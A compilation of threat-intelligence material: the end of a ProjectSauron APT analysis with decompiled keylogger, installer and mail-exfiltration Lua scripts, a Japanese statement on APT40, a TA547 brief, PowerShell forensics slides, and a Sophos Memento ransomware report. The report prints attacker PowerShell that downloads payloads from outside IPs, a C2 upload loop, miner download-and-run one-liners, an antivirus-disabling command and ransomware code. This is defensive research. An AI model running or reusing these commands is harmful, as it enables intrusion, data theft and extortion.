source port only -t <seconds>: accept timeout -j: listen/connect from injected process ``` The network communication component of the plugin is similar to the one implemented in the NullSessionPipes backdoor. However, the symmetric encryption algorithm used is RC6 combined with RSA for key exchange. The response from the server is checked against an 8-byte magic string. The payload from the remote peer is expected to be a JCalg1-compressed DLL. It is loaded and started by the plugin. This plugin is found in many configurations of the core platforms; in many cases, this is the only plugin that is activated by the script. The hostname used is usually a local IP address (i.e., a domain controller in the compromised network). ### VFS name: weddll **Description:** Passive sniffer backdoor ready for installation in the target system. ### VFS name: wfw **Description:** Windows Firewall controller. ``` {command|-h} [options] -h: Show this help text status: Show Firewall Status enable: Enable Firewall disable: Disable Firewall appadd {FullPath} {FriendlyName} {IPMask}: Add an application appdel {FullPath}: Remove an application portadd {PortNr} {TCP|UDP} {FriendlyName} {IPMask}: Add a port portdel {PortNr} {TCP|UDP}: Remove a port Example 1: Add Messenger accepting connections from any IP address appadd "%%ProgramFiles%%\Messenger\msmsgs.exe" "Windows Messenger" "*" Example 2: Open port 80 globally only accepting connections from 10.0.0.2 portadd 80 TCP "WWW Port" "10.0.0.2" ``` ### VFS name: whoami **Description:** Display information about the current user. ``` [-a] [-n] Options: -a: Display all available information. -n: Do not resolve SIDs to names. ``` ### VFS name: winst **Description:** Wedding DLL installer (DLL installer). ``` Usage: launch [-f] [-l] [-p process] <dll> halt <dll | -e event> status <dll | -e event> install [-c file] <dll> uninstall [-n] <dll> info <dll> Commands: install: Install the given DLL uninstall: Uninstall the given DLL launch: Inject and start the given DLL halt: Stop the given DLL status: Print some status for installed DLL info: Show info about DLL Options: -p <process>: Process to inject into (name/pid, default depends on DLL) -e: Specify event name (default read from dll) -f: Launch even if DLL not installed -l: Start in loaded mode (default injected mode) -c: Copy timestamps from given file -n: Uninstall without halting ``` Although the authors called it “wedding DLL installer” and “weddll” is the name of the passive backdoor, they also used this plugin to install other malicious DLLs in the target systems. ### VFS name: wipe **Description:** Secure Delete. ``` wipe Usage: wipe [-f] [-s] [-q] [-d] <file or directory> -s: Recurse subdirectories -d: Match directories as well as files (for wildcard) -f: Force wiping of read-only files -q: Do not ask for confirmation on multiple wipe To read a list of files from stdin, use - as file name. ``` ### VFS name: wtcdll **Description:** Encrypted data. The size and references in the Lua script indicate that it is most likely encrypted with RC6 using a 64-bit key, and the key is stored on the C&C server that activates the passive sniffer backdoor. ### VFS name: zeta2dll **Description:** Pipe and internet backdoor wrapped in an encryption layer. ## Examples of LUA scripts embedded in the Core platform The LUA scripts presented were produced by the LuaDec decompiler modified to support the modifications of the LUA interpreter that is used in the platform. Minimal configuration, just launches the “wdogi” plugin to receive the actual payload from the nearest infected server: ``` w.exec2str("wdogi -p 47329 192.168.0.1 445") ``` Another small script installs ProjectSauron DLL called symnet32 (mimic Symantec filename) if “McAfee Shield” process isn’t found, and then sets its file creation time equal to notepad.exe file: ``` pview = w.exec2str("pview") if string.find(pview, "mcshield.exe") == nil then w.exec2str("winst install symnet32.dll") w.exec2str("ftime -c %WINDIR%\\notepad.exe %windir%\\system32\\symnet32.dll") end ``` Another small script removes traces from the location where it supposedly was dropped, then waits for an incoming connection with a bigger payload or connects directly to the peer by the IP address that is contained in the nearby files: ``` get_path = function() local t = w.exec2str("regedit -a \"HKEY_LOCAL_MACHINE\\Software\\VirtualEncryptedNetwork\\Components\" |grep -i [snip] ") local p = string.match(t, "= \"([^\"]+)\"") if p then p = p .. "\\" else p = "" end return p end cleanup = function(l_2_0) w.exec2str("move \"" .. l_2_0 .. "FakeVirtualEncryptedNetwork.dll\" \"" .. l_2_0 .. "0004.bak\"") w.exec2str("move \"" .. l_2_0 .. "FakeVirtualEncryptedNetwork.exe\" \"" .. l_2_0 .. "0005.bak\"") w.exec2str("rbswap \"" .. l_2_0 .. "0004.bak\"") w.exec2str("rbswap \"" .. l_2_0 .. "0005.bak\"") w.exec2str("del \"" .. l_2_0 .. "0004.bak\"") w.exec2str("del \"" .. l_2_0 .. "0005.bak\"") w.exec2str("del \"" .. l_2_0 .. "FakeVirtualEncryptedNetwork.cfg\"") end exec = function(l_3_0) local c, l = nil, nil local d = w.exec2str("basex -b 16 < \"" .. l_3_0 .. "FakeVirtualEncryptedNetwork.cfg\"") w.exec2str("del \"" .. l_3_0 .. "FakeVirtualEncryptedNetwork.cfg\"") if string.len(d) >= 12 then local t = string.sub(d, 1, 8) local r = w.exec2str("cat \"" .. l_3_0 .. "settings.cfg\" | grep -i " .. t) local t = string.gsub(string.sub(r, 11, -1), "%c", "") local t = tonumber(string.sub(d, 9, 12), 16) c = "wdogi -f " .. t .. " " .. t w.exec2str(c) w.exec2str(c) end if string.len(d) >= 16 then local l = tonumber(string.sub(d, 13, 16), 16) w.exec2str("wdogi -t 1200 -l -p " .. l) else w.exec2str("wdogi -t 1200 -l -p 5010") end end local p = get_path() cleanup(p) exec(p) ``` Next, one script generates a new filename for collected keystrokes and injects the keylogger module into the explorer.exe process: ``` KBLOG_ROTATE_SECS = 10800 tmp_dir = os.getenv("WINDIR") .. "\\temp\\" drive = "C:\\" SAURON_KBLOG_KEY = "mISfx1q2Ef/QJPO4gi6DMKD5lxeQ380knDrULcZyTF5vFNWbUvT23PX9LrIdntHlkWAwjQQlfMXTogHW7fNklq/IsIk1dZljc9/J3A8gSD9f1hdLaiF3Qe8QPSiu/yHNmE3o0nkt0iyudRVMQKL4KtoV0TRy2o+XuN0+TYfnLWPkR11qk9pNAG1S9+qqhcD4eNWBkiwBJH1ZiHaJDBZ/KJSOTLoXqoFsS2f0Z+EeTe5+GCjKYDH7f2gkMsPA1z5LyP/PWnjxRoIubEtOfpMR7oDjKOcd9Y97XehAkmqnVW4r4Gbsk0hkjjRFZ/I7lO2eK8eE2mcSW+TRBMJBPEJEw==" create_log = function(l_1_0, l_1_1, l_1_2, l_1_3) local f = "" repeat w.sleep(1000) t1 = "b" t2 = "k" t3 = "a" t4 = w.randstr("1", 5) f = l_1_0 .. t1 .. t2 .. t3 .. t4 .. ".da" res = w.start_log("file", f, "new", true, l_1_1, l_1_2, l_1_3) until res return f end log_rotate = function(l_2_0, l_2_1) res = w.start_log("null") new_filename = l_2_0 .. l_2_1 cmd = string.format("move \"%s\" \"%s\"", l_2_0, new_filename) w.exec(cmd) end main = function() w.printf("Entering main\n") w.set("flush-time", "10s") w.set("inj", true) w.set("name", "kblog - waiting for file and injection") alist = w.exec2str("dir /a-d /b /F " .. tmp_dir .. "bka*.da") if string.find(alist, "bka") then sep = "\r\n" for s in string.gmatch(alist, "([^" .. sep .. "]+)") do w.exec2str("move " .. s .. " " .. s .. "t") end end repeat w.printf("Sleep before pview\n") w.sleep(5000) proc = w.exec2str("pview") until string.find(string.lower(proc), "explorer") ~= nil filename = create_log(tmp_dir, SAURON_KBLOG_KEY, 0, 0) w.set("name", "kblog running - file " .. filename) w.exec("inject explorer.exe kblog -v -t " .. KBLOG_ROTATE_SECS) w.stop_log() w.sleep(2000) log_rotate(filename, "t") w.exec(cmd) w.stop_log() end end main() ``` This is a mid-sized script that collects basic system information and sends it in an e-mail. There is a unique feature that can also be found in other scripts packaged with the platform: during execution, it performs DNS requests to seemingly random subdomain names of the “log” C&C domain (“bikessport.com”), and each subdomain request is effectively a real-time status update that can be logged and analyzed by the attackers. The script was modified to remove sensitive information. ``` externalmail = "74.125.148.11" relayPort = "443" relayServer = "217.160.176.157" mailto = "[email protected]" mailSubject = "Regarding your offer" mailBody = "This is to inform you that I decline your offer. See attachment.\n Best Regards xxxxx" domain = "bikessport.com" smtpport = "" smtpserver = "" mail = function(l_1_0, l_1_1, l_1_2, l_1_3, l_1_4) buffer = "" id1 = string.upper(string.format("%04x%04x", math.random(4369, 65535), math.random(0, 65535))) id2 = string.format("%07u", math.random(0, 9999999)) boundary = string.format("--------------%06u%06u%06u%06u", math.random(0, 9999), math.random(0, 9999), math.random(0, 9999), math.random(0, 9999)) delimiter = "\r\n" endOfRow = "\r\n" startBoundary = string.format("--%s", boundary) endBoundary = string.format("%s%s--%s", endOfRow, startBoundary, endOfRow) buffer = string.format("%sMessage-ID: <%s.%[email protected]>%s", buffer, id1, id2, endOfRow) buffer = string.format("%sFrom: <%s>%s", buffer, l_1_1, endOfRow) buffer = string.format("%sUser-Agent: Thunderbird 2.0.0.9 (Windows/20071031)%s", buffer, endOfRow) buffer = string.format("%sMIME-Version: 1.0%s", buffer, endOfRow) buffer = string.format("%sTo: %s%s", buffer, l_1_0, endOfRow) buffer = string.format("%sSubject: %s%s", buffer, l_1_2, endOfRow) buffer = string.format("%sContent-Type: multipart/mixed;%s boundary=\"%s\"%s", buffer, endOfRow, boundary, endOfRow) buffer = string.format("%s%s", buffer, endOfRow) buffer = string.format("%sThis is a multi-part message in MIME format.%s%s%s", buffer, endOfRow, startBoundary, endOfRow) buffer = string.format("%sContent-Type: text/plain; charset=ISO-8859-1; format=flowed%s", buffer, endOfRow) buffer = string.format("%sContent-Transfer-Encoding: 7bit%s%s", buffer, endOfRow, endOfRow) buffer = string.format("%s%s%s", buffer, l_1_3, endOfRow) buffer = string.format("%s%s%s%s", buffer, endOfRow, startBoundary, endOfRow) buffer = string.format("%sContent-Type: application/x-msdownload;\r\n name=\"data.bin\"%s", buffer, endOfRow) buffer = string.format("%sContent-Transfer-Encoding: base64%s", buffer, endOfRow) buffer = string.format("%sContent-Disposition: attachment;\r\n filename=\"data.bin\"%s%s", buffer, endOfRow, endOfRow) strLen = string.len(l_1_4) index = 1 repeat if index < strLen then istart = index index = index + 72 iend = index - 1 ``` This concludes the technical analysis of the ProjectSauron APT. For any inquiries, contact [email protected].
Cases of cyberattacks including those by a group known as APT40, which the Chinese government is behind (Statement by Press Secretary YOSHIDA Tomoyuki) Press Releases July 19, 2021 1. Security of cyberspace is extremely important to ensure peace and prosperity of the international community including Japan, and it was reaffirmed at the recent G7 Leaders’ Summit held in the United Kingdom. 2. Against this backdrop, on July 19th (local time), the United Kingdom, the United States and other countries issued public statements including on a group conducting cyberattacks known as APT40, which the Chinese government is behind, and an indictment charging four members of APT40 has been issued in the United States. Japan also assesses that it is highly likely that the Chinese government is behind APT40 and has been paying close attention with deep concern to these attacks by APT40 and others which threaten the security of cyberspace. Japan strongly supports the public statements by the United Kingdom, the United States and other countries which express the determination to uphold the rules-based international order in cyberspace. 3. Japan recently made the announcement on cyberattacks in which it is highly likely that an Advanced Persistent Threat group called Tick, which the Unit 61419 of the Chinese People’s Liberation Army is behind, was involved. Japan further confirmed that Japanese companies were also targeted in the aforementioned case by the group known as APT40. 4. Malicious cyber activities that could potentially undermine the foundation of democracy embodied by free, fair and secure cyberspace cannot be condoned. The Government of Japan considers it to be a matter of strong concern from the national security viewpoint, firmly condemns and will take strict measures against these activities. 5. Japan will continue to closely cooperate with the international community including the G7 countries and make efforts in order to develop free, fair and secure cyberspace.
# Security Brief: TA547 Pivots from Ursnif Banking Trojan to Ransomware in Australian Campaign ## Threat Insight Proofpoint researchers have identified a ransomware and banking trojan campaign that occurred July 12-14, 2020, targeting multiple verticals in Australia. The campaign pivoted from distributing the Ursnif banking trojan in early messages to later distributing Adhubllka ransomware, which encrypts files on compromised systems. While this campaign was widely distributed across industries, construction, transportation, entertainment and media, aerospace, and manufacturing were among the most commonly observed. Proofpoint researchers believe this campaign is the work of TA547, an actor known for abusing email service providers and distributing banking trojans across various geographic regions. This campaign is also the latest example of TA547 targeting Australians. A prior effort included a ZLoader banking malware campaign disguised as job applicant emails. In this case, over 2,000 messages were sent during July 12-14 with lures informing intended recipients that their order “has been processed” and urging them to view their “order details.” The subject lines contained “salesforce.com Order Confirmation” followed by a fake order number. The messages contain Microsoft Excel attachments or URLs linking to Excel documents hosted by an email service provider. The email lure with malware attached is not particularly interesting or customized, but the lure that contains a link to the malware is a bit more creative. It contains a lure with branding for a construction workers’ resource group, which is notable because the construction industry was one of the sectors most targeted in this campaign. In initial messages, the files used XL4 macros to download Ursnif but shifted to downloading Adhubllka ransomware on July 13 around 08:00 am GMT. The pivot to delivering a new payload isn’t unusual on its own, but it is unclear why the actor switched away from using highly valuable crimeware like Ursnif to Adhubllka ransomware. The initial payment page for Adhubllka includes a link to a Freshdesk ticketing software instance. The link is behind a URL shortener that collects the victim’s IP address if they visit the link to report an issue. The actor might be suggesting the victim visit the ticketing site in a browser other than Tor because it isn’t a .onion link, but this could also be an attempt to collect the victim’s unmasked IP address. The ransom of $3,700 is requested in bitcoin, complete with a QR code to facilitate the transaction. Instructions for creating a bitcoin wallet are found on the “How to get my files back” tab of the site. As of this publication, the Tor site is still online, though no transactions involving associated bitcoin addresses appear to have taken place. The techniques used in this campaign are not uncommon for TA547, but the mid-campaign payload switch is unusual. While the motivation for the switch isn’t immediately clear, it’s possible that the actor is experimenting with different payloads or simply wants different types of infections at their disposal.
# Investigating PowerShell Attacks ## Background Case Study **Victim** - Fortune 100 organization - Compromised for > 3 years - Active Directory - Authenticated access to corporate VPN **Attacker** - Command-and-control via scheduled tasks - Local execution of PowerShell scripts - PowerShell Remoting ## Why PowerShell? It can do almost anything… - Execute commands - Download files from the internet - Reflectively load / inject code - Interface with Win32 API - Enumerate files - Interact with the registry - Interact with services - Examine processes - Retrieve event logs - Access .NET framework ## PowerShell Attack Tools - PowerSploit - Posh-SecMod - Veil-PowerView - Metasploit - More to come… - Nishang ## Investigation Methodology **Sources of Evidence** - WinRM - PowerShell Remoting - Local PowerShell script - Registry - File System - Event Logs - Memory - Traffic ## Attacker Assumptions - Has admin (local or domain) on target system - Has network access to needed ports on target system - Can use other remote command execution methods to: - Enable execution of unsigned PS scripts - Enable PS remoting ## Memory Analysis **Scenario:** Attacker interacts with target host through PowerShell remoting - What’s left in memory on the accessed system? - How can you find it? - How long does it persist? ## Process Hierarchy - `svchost.exe (DcomLaunch)` - `Invoke-Command {c:\evil.exe}` - `wsmprovhost.exe` - `evil.exe` - `Invoke-Command {Get-ChildItem C:\}` - `Get-ChildItem C:\` - `Invoke-Mimikatz.ps1` - `svchost.exe (WinRM)` - Kernel - Remote Host ## Remnants in Memory - `svchost.exe (DcomLaunch)` - `wsmprovhost.exe` - `evil.exe` - `Get-ChildItem C:\` - Remnants of C2 persist in memory ## Example: In-Memory Remnants - SOAP in WinRM service memory, after interactive PsSession with command: `echo teststring_pssession > c:\testoutput_possession.txt` ## What to Look For? - XML / SOAP strings - Known attacker filenames - View context around hits ## How Long Will Evidence Remain? - Best source of intact evidence - Only lasts until PS session exits - Fragments of evidence - Retention depends on # of remoting sessions - May last until reboot ## Memory Analysis Summary - Timing is everything - Challenging to recover evidence - Many variables - System uptime - Memory utilization - Volume of WinRM activity ## Event Logs **Scenario:** Attacker interacts with target host through - Local PowerShell execution - PowerShell remoting - Which event logs capture activity? - Level of logging detail? - Differences between PowerShell 2.0 and 3.0? ## PowerShell Event Logs - Application Logs - Windows PowerShell.evtx - Microsoft-Windows-PowerShell/Operational.evtx - Microsoft-Windows-WinRM/Operational.evtx - Analytic Logs - Microsoft-Windows-PowerShell/Analytic.etl - Microsoft-Windows-WinRM/Analytic.etl ## PowerShell 2.0 Event Logging **What you do get** - Start & stop times of activity - Loaded providers - User account context **What you don’t get** - Detailed history of executed commands - Console input / output - Analytic logs help (somewhat) ## Local PowerShell Execution - EID 400: Engine state is changed from None to Available. - EID 403: Engine state is changed from Available to Stopped. - EID 40961: PowerShell console is starting up - EID 4100: Error Message = File C:\temp\test.ps1 cannot be loaded because running scripts is disabled on this system ## Remoting (Accessed Host) - EID 400: Engine state is changed from None to Available. - EID 600: Provider WSMan is Started. Indicates use of PowerShell remoting - EID 169: User CORP\MattH authenticated successfully using NTLM - EID 81: Processing client request for operation CreateShell - EID 134: Sending response for operation DeleteShell ## PS Analytic Log: Encoded I/O - `Invoke-Command {Get-ChildItem C:\}` ## Other Logging Solutions for PS 2.0 - Set global profile to log console command activity - Use Start-Transcript cmdlet - Overwrite default prompt function ## PowerShell 3.0: Module Logging - Solves (almost) all our logging problems! - Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Module Logging ## Module Logging Examples - `Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password` - Command Name = Get-ChildItem - User = CORP\MHastings ## Persistence **Scenario:** Attacker configures system to load malicious PS upon startup / logon - Why persist? - Backdoors - Keyloggers - What are common PS persistence mechanisms? - How to find them? ## Common Techniques - Registry “autorun” keys - Scheduled tasks - User “startup” folders ## Persistence via WMI - Use WMI to automatically launch PowerShell upon a common event - Namespace: “root\subscription” ## Event Filters - Query that causes the consumer to trigger - Run within minutes of startup - Run at 12:00 ## Event Consumers - Launch “PowerShell.exe” when triggered by filter ## PS WMI Evidence: File System - WBEM repository files changed (common) ## PS WMI Evidence: Registry - Key Last Modified - Created only when setting a time-based WMI filter ## PS WMI Evidence: Other Sources - SysInternals AutoRuns (v12) - Memory: WMI filter & consumer names - Event logs: WMI Trace ## Conclusions - Refer to whitepaper - Prefetch file for “PowerShell.exe” - Registry: PowerShell “ExecutionPolicy” setting - Network traffic analysis (WinRM) ## Lessons Learned - Upgrade to PS 3.0 and enable Module Logging if possible - Baseline legitimate usage in environment - Recognize artifacts of anomalous usage ## Acknowledgements - Matt Graeber - David Kennedy - Joseph Bialek - Josh Kelley - Chris Campbell - Lee Holmes - David Wyatt ## Questions? - [email protected] - @ryankaz42 - [email protected] - @HastingsVT
# New Ransomware Actor Uses Password-Protected Archives to Bypass Encryption Protection **Sean Gallagher** **November 18, 2021** In late October, Sophos MTR’s Rapid Response Team encountered a new ransomware group with an interesting approach to holding victims’ files hostage. The ransomware used by this group, who identify themselves as “Memento Team,” doesn’t encrypt files. Instead, it copies files into password-protected archives, using a renamed freeware version of the legitimate file utility WinRAR—and then encrypts the password and deletes the original files. This was a retooling by the ransomware actors, who initially attempted to encrypt files directly—but were stopped by endpoint protection. After failing on the first attempt, they changed tactics and re-deployed, as evidenced by the multiple versions of the ransomware payload compiled at different times found on the victim’s network. They then demanded $1 million US to restore the files and threatened data exposure if the victim did not comply. There were some other twists to the “Memento” attack as well. The ransomware itself is a Python 3.9 script compiled with PyInstaller. In a ransom note that largely cribs the format used by REvil (including the “[-] What’s Happen [-]” introduction), the criminals behind the ransomware instructed the victims to contact them via a Telegram account. The attackers also deployed an open-source Python-based keylogger on several machines as they moved laterally within the network using Remote Desktop Protocol. The Memento actors also waited a long time before executing their attack—so long that at least two different cryptocurrency miners were dropped onto the server they used for initial access during the course of their dwell time by different intruders using similar exploits. ## Initial Compromise The ransomware actors appear to have taken advantage of a flaw in VMware’s vCenter Server web client first revealed in February. The vulnerability allowed anyone who had TCP/IP port 443 access to the server to execute commands remotely with system-level privileges; a firewall had been misconfigured, and the vCenter Server was exposed to the Internet on that port. This server had outdated malware protection and was not configured with endpoint detection and response. While there are hints of the actors behind this attack gaining access to the targeted network as early as mid-April, the first real signs of intrusion were on May 4: the dropping of PyInstaller-compiled versions of two tools from the Impacket toolset—the wmiexec remote shell tool (which executes commands via Windows Management Instrumentation) and the secretsdump hash dumping tool were dropped onto a Windows server. The hash dump tool was likely used to acquire credentials for accounts that would be used later. Six days later, they came back and began further setting up shop, first using a PowerShell command to attempt to turn off malware scanning: ```powershell Set-MpPreference -DisableRealtimeMonitoring $true ``` Next, the intruders started using PowerShell web requests to pull down files: first, a copy of a command-line version of the WinRAR utility, and then a pair of RAR archives on the compromised server. These commands were executed using the wmiexec remote shell, connecting to a host (now unreachable) in South Korea: ```powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/r.exe -OutFile c:\temp\r.exe Invoke-WebRequest -Uri http://27.102.127[.]120/x1.rar -OutFile c:\temp\x1.rar Invoke-WebRequest -Uri hxxp://27.102.127[.]120/x2.rar -OutFile c:\temp\x2.rar ``` Among the files then extracted from the RAR archive were: - `pl.exe`—a copy of the Plink SSH tunneling tool, allowing them to gain an interactive console connection with the compromised server. - `nm.exe`—NMAP, the network scanning tool. - `Npcap-0.93.exe`—the installer for the NPCAP network packet capture library and its associated kernel driver. - `mimikatz.exe`—Mimikatz, the credential stealing tool. The actors used Plink to connect via SSH from another South Korean IP address (27[.]102.66.114). Next, they set up a batch file (`wincert.bat`) as a scheduled task (named Windows Defender Metadata Monitor) to establish persistence—pulling commands from a PHP script running on the compromised web server operated by a publisher in South Korea (novelupdate[.]com) using PowerShell’s `Invoke-RestMethod`. The script used a nearly identical call to another domain (checkvisa[.]xyz). Next, the intruders used administrative credentials they had gained to connect to the server via Remote Desktop Protocol, tunneling over the SSH connection. They installed another reconnaissance tool—Advanced Port Scanner—as well as the Python 3.9.5 runtime environment. They also dropped two disk utilities—WizTree and DiskSavvy. They gradually moved laterally, using Mimikatz and secretsdump to compromise three accounts and create two new ones with a compromised “admin” account. On September 28, someone (most likely the ransomware actors) dropped another copy of the Plink SSH connection, using the transfer[.]sh file transfer service. They used this additional Plink instance to create a reverse shell connection to the account “dontstarve” at a host named google[.]onedriver-srv[.]ml. This copy of Plink was dropped with the file name `MicrosoftOutlookUpdater.exe`, and the configuration of the SSH connection was invoked with a `MicrosoftOutlookUpdater.bat`. Once the reverse shell was set up, the attackers scheduled a task named “GoogleChangeManagementSchedule”—a PowerShell encoded command that uploaded data about the IP address of the compromised server, and then performed some automated exchanges of data that appear to have been related to reconnaissance: ```powershell $c = "" $p="" $r = "" $u = "hxxp://google[.]onedriver-srv[.]ml/gadfTs55sghsSSS" $wc = New-Object System.Net.WebClient $li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0] $Response = Invoke-WebRequest -Uri hxxp://curlmyip[.]net -UseBasicParsing $c = "whoami" $c = 'Write-Host " ";'+$c $r = &(gcm *ke-e*) $c | Out-String > "$env:tmp\$($Response.Content.Trim())-$($li)" $ur = $wc.UploadFile("$u/phppost.php" ,"$env:tmp\$($Response.Content.Trim())-$($li)") while($true) { $c = $wc.DownloadString("$u/$($Response.Content.Trim())-$($li)/123.txt") $c = 'Write-Host " ";'+$c if($c -ne $p) { $r = &(gcm *ke-e*) $c | Out-String > "$env:tmp\$($Response.Content.Trim())-$($li)" $p = $c $ur = $wc.UploadFile("$u/phppost.php" ,"$env:tmp\$($Response.Content.Trim())-$($li)") } sleep 3 } ``` Uncertainty about who did what on the compromised server comes from the fact that there were so many actors who were in play, thanks to the detectability of the vCenter vulnerability with mass Internet scans. ## Extra Compromises On May 18, another entirely different actor also exploited the vCenter vulnerability to install an XMR cryptocurrency miner via PowerShell commands: ```powershell -nop -w hidden -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.exe'; $wc.DownloadFile('hxxp://45.77.76[.]158:25643/w', $tempfile); & $tempfile -u bdbe1601; Remove-Item -Force $tempfile ``` The miner operator then executed the payload, `tmp5FE0.tmp.exe`, which in turn registered the Windows driver `WinRing0x64.sys` as a service to leverage the server’s graphics card for mining purposes. On September 8, yet another intruder dropped yet another miner (XMRig): ```powershell $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://190.144.115[.]54:443/mine.bat', $tempfile); & $tempfile ``` This miner operator also dropped a copy of the NSSM services helper to monitor and manipulate running services (downloaded from a compromised WordPress site). XMRig and NSSM were downloaded again on October 3, this time from a GitHub page, using a “support” administrative account created by the miner actors to execute the scripts. ## Ransomware Deployment In October, the Memento gang began preparations to launch ransomware. They dropped a copy of the administrative tool Process Hacker onto the server that they used as their primary foothold on October 1 and configured Process Hacker’s kernel driver as a service for persistence. For the next two weeks, the intruders continued to expand their reach within the network using RDP, occasionally deleting RDP logs to cover their tracks. On October 20, they began to use WinRAR to compress a collection of files for exfiltration, moving the archives to a directory on a shared drive they could access via RDP. They also deployed a Python-based keylogger onto the workstation of the primary system administrator for the organization. On October 22, data collection complete, the attackers then used Jetico’s BCWipe data wiping utility to remove evidence of the archived files once they were collected and to modify timestamps on others. They also cleared Terminal Services logs to erase evidence of RDP sessions. On the evening of October 23 (a Saturday), they executed the first iteration of their ransomware. The first attempt at the ransomware, `RuntimeBroker.exe`, used WinRAR to archive the files and then attempted to encrypt them. The ransomware, as stated earlier, was an executable compiled from Python 3.9—possibly compiled with the Python instance installed on the network by the actors earlier. Because the code was compiled with PyInstaller and Python 3.9, we could not completely decompile the ransomware samples. But we were able to decode enough to understand its structure and identify most of how the ransomware worked. Its main function served only to kick off the “Demon” function imported from a module named “morph”: ```python from morph import Demon def main(): demon = Demon() Demon.start(demon) if __name__ == '__main__': main() ``` The `morph.pyc` module that contains the Demon function also includes a number of global variables used by the ransomware: ``` KEYFILE = ‘config.key’ URL = ‘hxxp://78[.]138.105.150:11180/sv.php’ START_MSG = ‘Task Started.’ END_MSG = ‘Task Completed.’ CHECK_INTERVAL = 900 REPORT_INTERVAL = 25 ``` The `config.key` file contains a public key. The URL is a command and control server that receives telemetry from each instance of the ransomware. The “Demon” class itself executes the various other methods of the ransomware. It generates a unique ID for the system based on its IP address and Windows system name, and launches a “connector” to communicate with the command and control server, the encryption code, and a repeating timer copied straight from Stack Overflow. The connector is used to send system information, including the victim ID, system information, and progress messages as the encryption routine traverses system files. ```python class Demon: def __init__(self): self.id = createID() # createID returns string with IP address and hostname, like "192.168.1.2-targeted-pc" self.start = datetime(2021, 10, 10, 15, 23) # this time is the same in all three samples, later replaced with actual time self.filter = re.compile('.+', re.IGNORECASE) self.drivers = [] self.total_cnt = 0 self.total_bytes = 0 self.cur_enc_cnt = 0 self.cur_report_cnt = 0 self.error_files = [] self.connector = Connector(self.id, URL) # Connector class is loaded from connect.pyc self.cryptor = Cryptor(KEYFILE) # Cryptor, the encryption code, is loaded from crypt.pyc self.timer = RepeatTimer(CHECK_INTERVAL, self.callbackCheckTimeUp) # RepeatTimer is loaded from timer.pyc self.sendVicInfo() ``` The “createID” function generates a unique identifier by creating a socket connection to Google’s DNS service on port 80, and retrieving the local IP address for the connection (with `socket.getsockname`) and the system’s hostname. Those values are concatenated into a single string, which is used by the Memento C2 as a system unique identifier. The “sendVicInfo” function aggregates system information about the machine being targeted by the ransomware instance to be sent back over the C2 connection to the ransomware actors. ```python def sendVicInfo(self): ret_str = f'''<=== Start time ===>: {self.start}\n\n''' uname = platform.uname() ret_str += f'''System: {uname.system}\n''' ret_str += f'''Node Name: {uname.node}\n''' ret_str += f'''Release: {uname.release}\n''' ret_str += f'''Version: {uname.version}\n''' ret_str += f'''Machine: {uname.machine}\n''' ret_str += f'''Processor: {uname.processor}\n\n''' boot_time_timestamp = psutil.boot_time() bt = datetime.fromtimestamp(boot_time_timestamp) ret_str += f'''Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}\n\n''' ret_str += 'Total cores: %s\n' % psutil.cpu_count(True, **('logical',)) ret_str += f'''Total CPU Usage: {psutil.cpu_percent()}%\n\n''' svmem = psutil.virtual_memory() ret_str += f'''Total: {convSize(svmem.total)}\n''' ret_str += f'''RAM Percentage: {svmem.percent}%\n\n''' partitions = psutil.disk_partitions() ``` The cryptor code uses AES to encrypt the files. The public key filename is passed to it as an argument, but it’s not used directly as the key for encryption. Rather, it is used to decrypt the password used in combination with a private key that is delivered from the C2 to decrypt a file called `selfdel.py.vaultz` into a Python resource file. The actual file encryption is AES-based, using cipher block chaining; a password is generated for each file and is RSA encrypted. The `crypt.pyc` that defines the cryptor has the following imports and variables: ```python from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES import random import string import sys import os import subprocess SEED_LEN = 32 INITIAL_VECTOR = b'\xa4' * AES.block_size MAX_READ = 134217728 MAX_READ_PAD = MAX_READ + AES.block_size ENC_EXT = 'vaultz' SIG_EXT = 'vault-key' RAR_EXE = 'r.exe' ``` The “RAR_EXE” variable is a reference to the instance of WinRAR used by the attackers in this first version. It appears to be called by a function called `encryptFile_r`; a separate `encryptFile` function is used to encrypt files, while the `encryptFile_r` then puts them into an archive. While some systems were impacted by this first version of the ransomware, the encryption step was caught on systems with anti-ransomware protection. ## Second Verse, Slightly Different Than the First Undeterred, the Memento attackers switched approaches. With their access to the network still intact, they modified the ransomware code; instead of encrypting first, the new code used the WinRAR executable to archive files into a password-protected archive. Two additional variants of the ransomware executable, both compiled as `main.exe`, were built. Both added a command line argument handler so that parameters could be passed to the Demon class. ```python from morph import Demon import sys def main(): demon = Demon() start = '' if len(sys.argv) > 1: start = sys.argv[1] Demon.start(demon, start) if __name__ == '__main__': main() ``` The `morph.pyc` file also included some minor tweaks, including a reference to a filter file, `filter.txt`: ``` KEYFILE = 'config.key' URL = 'hxxp://78[.]138.105.150:11180/sv.php' START_MSG = 'Task Started.' END_MSG = 'Task Completed.' FILTER_FILE = 'filter.txt' CHECK_INTERVAL = 3 REPORT_INTERVAL = 25 ``` The contents of `filter.txt`: ``` c:\\Documents and Settings c:\\Users\\All Users c:\\users\\Default User c:\\Programdata\\Application Data C:\\ProgramData\\Desktop C:\\ProgramData\\Documents C:\\ProgramData\\Start Menu C:\\ProgramData\\Templates C:\\windows RECYCLE.BIN Local Setting C:\\ System Volume Information ``` This appears to have specified which paths and specific files not to encrypt. The modifications to the ransomware changed its behavior to avoid detection of encryption activity. Instead of encrypting files, the “crypt” code now put the files in unencrypted form into archive files, using the copy of WinRAR, saving each file in its own archive with a `.vaultz` file extension. Passwords were generated for each file as it was archived. Then the passwords themselves were encrypted. These variants were built and executed hours after the first attempt. The malware was spread manually by the attackers, using RDP and stolen credentials. ## A Breakdown of Attack Methods Used by the Memento Actors A ransom note, `Hello Message.txt`, was dropped after the files were archived. The file was dropped manually in the Desktop folder of the primary IT administrator’s workstation. The wording and formatting is nearly identical to REvil gang ransom notes and threatens data exposure if the ransom payment is not made. Unlike REvil, however, the demand for payment was in Bitcoin, and the Memento actors offered a payment schedule for decryption: 15.95 BTC (approximately 